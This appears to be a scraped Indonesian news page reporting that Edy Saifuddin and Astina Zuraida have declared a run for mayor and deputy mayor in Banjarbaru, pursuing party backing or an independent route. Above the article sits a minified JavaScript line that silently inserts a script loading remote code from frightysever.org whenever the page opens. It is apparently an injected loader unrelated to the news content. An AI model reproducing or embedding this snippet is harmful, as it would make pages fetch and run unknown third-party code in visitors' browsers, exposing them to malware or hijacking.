(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Ambisi Edy-Astina Isi Poros Ketiga di Pilkada Banjarbaru, Bergulat di Parpol dan Jalur Independen


BANJARBARU, Gairah Pilkada di Banjarbaru semakin dinamis. Tarung head to head antara incumbent Nadjmi Adhani-Darmawan Jaya Setiawan melawan penantang Aditya Mufti Ariffin-AR Iwansyah, tak harus diamini oleh kandidat lainnya. Upaya untuk bisa memunculkan poros ketiga, terus digalang oleh pasangan Edy Saifuddin-Astina Zuraida, yang Senin (4/11) sore tadi, mendeklarasikan pencalonannya.

Edy-Astina, resmi menyataan diri sebagai kandidat yang akan maju dalam pertarungan Pilkada Banjarbaru. Kabar majunya Edy sebagai kandidat Bacalon Walikota Banjarbaru telah lama berhembus. Meski begitu, seiring berjalannya waktu Edy tidak terlalu eksis dalam isu Pilwali Banjarbaru. Sebab publik belakangan selalu disuguhkan pertarungan pasangan incumbent Nadjmi-Jaya dan pasangan penantang Aditya-Iwansyah yang saling menembakan amunisi untuk mendapatkan kendaraan politik.

Edy mengakui jika deklarasi yang dilakukannya pada hari ini dapat dikatakan terlambat. Namun, dirinya juga memastikan bahwa langkah-langkah untuk menempuh jalur Parpol telah dilakukannya.
“Kenapa deklarasi terlambat, karena memang kita mencari kesiapan dulu. Beberapa minggu terakhir ini kita sudah menyatakan siap dan betul-betul fight maju sebagai kandidat Bacalon Walikota dan Wakil Walikota Banjarbaru. Kita juga sudah melamar ke partai-partai walupun saat itu belum deklarasi,” katanya.

Hingga saat ini, telah ada dua Parpol yang dilamar Edy yakni PDIP dan Nasdem. Namun, untuk mendapatkan dukungan dari kedua Parpol ini tidaklah mudah, karena Nadjmi-Jaya dan Aditya-Iwansyah juga mendaftarkan diri mereka. Alhasil, seiring berjalannya waktu, belum ada satupun glagat dari kedua Parpol tersebut yang mengarah kepada sosok Edy.

Semisalnya PDIP yang isunya akan merapatkan barisan kepada Pasangan Penantang Aditya-Iwansyah, usai pertemuan Aditya dan Ketua DPW PDIP Kalsel Mardani H Maming. Sedangkan Nasdem diduga kuat akan mengusung incumbent Nadjmi-Jaya, setelah Ketua DPP Nasdem Surya Paloh menunjukan rangkulan hangatnya kepada pasangan incumbent.

Adanya kemungkinan jalur Parpol tertutup bagi dirinya, Edy menyatakan bahwa dirinya masih antusias. Edy tidak mempedulikan opini saat ini dan mempercayai bahwa keputusan yang berasal dari pusat, akan menunjuk dirinya. “Biar saja opini parpol daerah ke sana kemari, yang pastinya semua keputusan di tangan pusat. Kita yakin, kita juga akan ditunjuk. Entah dari Parpol mana, itu masih kita simpan dan tidak perlu dipublikasikan,” tegasnya.

Edy sendiri tidak memiliki target dari parpol mana saja yang akan mengusungnya. Baginya, asal target memenuhi persyaratan 6 kursi dapat teralisasikan. Bahkan, persyaratan ini dapat saja langsung terpenuhi apabila partai Gerindra mendukungnya. “Minimal Parpol yang mencukupi kursinya. Tidak menutup kemungkinan Gerindra. Itu tim kita yang berusaha di nasional,” akunya.

Baca Juga : Perlu Dukungan 15.635 KTP, Tiket Jalur Independen Pilkada Banjarbaru Sepi Peminat

Jika jalur Parpol pun terpatahkan, Edy menyatakan kesiapannya untuk menempuh jalur Perseorangan (Independen) yang mana KPU Banjarbaru telah menetapkan syarat bagi para kandidat untuk mengumpulkan sebanyak 15.635 KTP.

Lantas, apa Edy siap secara finansial untuk mengumpulkan belasan ribu KTP tersebut? Edy menjawab tegas bahwa pihaknya sudah siap secara finansial. “Jika jalur Parpol tertutup, sudah pasti kita akan menempuh Jalur Independen. Kita sudah mengumpulkan KTP sejak 3 bulan terakhir sampai sekarang di wilayah Banjarbaru. Dari segi finansial, yang namanya orang maju ya itu tidak perlu menggembar-gemborkan. Kalau kita nyatakan siap, itu sudah pasti ada sudah ada tim kita,” pungkasnya.

Disaat yang bersamaan Edy juga turut memperkenalkan pasangannya, kandidat Bacalon Wakil Walikota Banjarbaru, Astina Zuraida. Latar belakang Astina yang menerupakan penggiat sosial dikatakan telah dikenal banyak emak-emak di Banjarbaru. (Rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

9 jam ago

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan

KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More

10 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

10 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

11 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

15 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

16 jam ago

This website uses cookies.